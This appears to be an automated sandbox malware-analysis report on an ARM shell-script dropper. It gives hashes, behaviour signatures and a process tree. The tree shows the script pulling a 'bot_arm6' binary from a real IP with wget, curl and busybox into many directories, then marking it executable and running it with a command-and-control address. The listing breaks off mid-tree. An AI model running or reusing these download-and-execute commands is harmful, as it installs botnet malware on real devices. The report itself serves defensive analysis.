11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/07/2026, 07:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
Size 630B
Sample260705-jmdynsaz5s
SHA256 11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6
MD5 07222bbf7182faf773a04254186b7ba5
SHA1 e88399ad4629eb666b651159a9484c3625755c5c
SHA512 2601c7fa1b2bcf8899562dc26a0da79a9693bb6a61e0e8126add572307306decc0cd993d0d5da447a51522a95ed1b11ba831995665c11bd8897e2d9276a7e07f
TLSH
T183F0F9E1B9379C7E768A8924F21EF4CEE8C694EF9025F86CA24A4C204B4821C500C715
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 64 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1158	chmod
1348	chmod
1395	chmod
918	chmod
990	chmod
1411	chmod
755	chmod
993	chmod
1050	chmod
1123	chmod
1184	chmod
1323	chmod
767	chmod
806	chmod
1041	chmod
1111	chmod
1115	chmod
1319	chmod
749	chmod
759	chmod
884	chmod
1181	chmod
776	chmod
822	chmod
896	chmod
979	chmod
1203	chmod
1272	chmod
1312	chmod
999	chmod
1021	chmod
1044	chmod
1075	chmod
1078	chmod
1342	chmod
1369	chmod
1437	chmod
845	chmod
983	chmod
1081	chmod
1142	chmod
1165	chmod
1265	chmod
1414	chmod
1465	chmod
1009	chmod
1047	chmod
1127	chmod
1260	chmod
1424	chmod
684	chmod
856	chmod
1106	chmod
1169	chmod
1257	chmod
1335	chmod
1345	chmod
1385	chmod
691	chmod
1002	chmod
1035	chmod
1309	chmod
1445	chmod
935	chmod

Executes dropped EXE 64 IoCs

ioc	pid	Process
/tmp/bot	703	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	716	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	726	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	750	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	756	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	760	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	764	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	768	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	778	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	784	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	798	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	808	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	819	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	823	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	827	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	849	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	853	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	857	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	861	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	865	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	869	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	928	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	932	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	936	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	939	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	944	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	948	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	951	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	956	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	960	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	964	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	968	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	972	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	976	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	980	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	984	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1006	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1010	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1014	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1017	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1022	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1026	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1083	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1088	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1092	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	1095	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	1100	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	1104	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	1107	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	1112	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	1116	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1120	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1124	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1128	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	1132	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	1136	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	1140	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1162	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1166	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1170	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1173	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1178	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1182	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1238	_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh

Checks CPU configuration 1 TTPs 64 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to shm directory 15 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	curl

Writes file to tmp directory 45 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl

/tmp/_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/_11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
1⤵
- Executes dropped EXE
PID:658
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:659
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod +x bot
  2⤵
  PID:688
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:690
- /bin/chmod
  chmod +x bot
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:701
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:703
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:714
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:717
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:716
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:724
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:726
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:727
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  PID:751
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:750
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:757
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:756
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:761
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:760
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:763
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:765
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:764
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:769
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:768
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:779
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:778
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:783
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:784
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:797
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:799
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:798
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:809
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:808
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:818
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:820
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:819
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:824
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:823
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:826
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:828
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:827
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:829
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:831
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:830
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:833
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:835
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:834
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:836
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:838
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:837
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:839
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:841
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:840
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:842
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:844
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:843
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:847
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:846
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:848
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:850
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:849
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:852
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:854
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:853
- /bin/chmod
  chmod +x /root/bot
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:858
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:857
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:860
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  PID:862
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:861
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:864
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:865
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:866
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:868
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:870
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:869
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:871
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:874
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:872
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:875
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:877
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:876
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:878
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:880
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:879
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:881
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:883
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:882
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:886
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:885
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:887
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:889
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:888
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:890
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:892
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:891
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:893
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:895
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:894
- /bin/chmod
  chmod +x /system/bot
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:898
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:897
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:899
- /usr/bin/curl
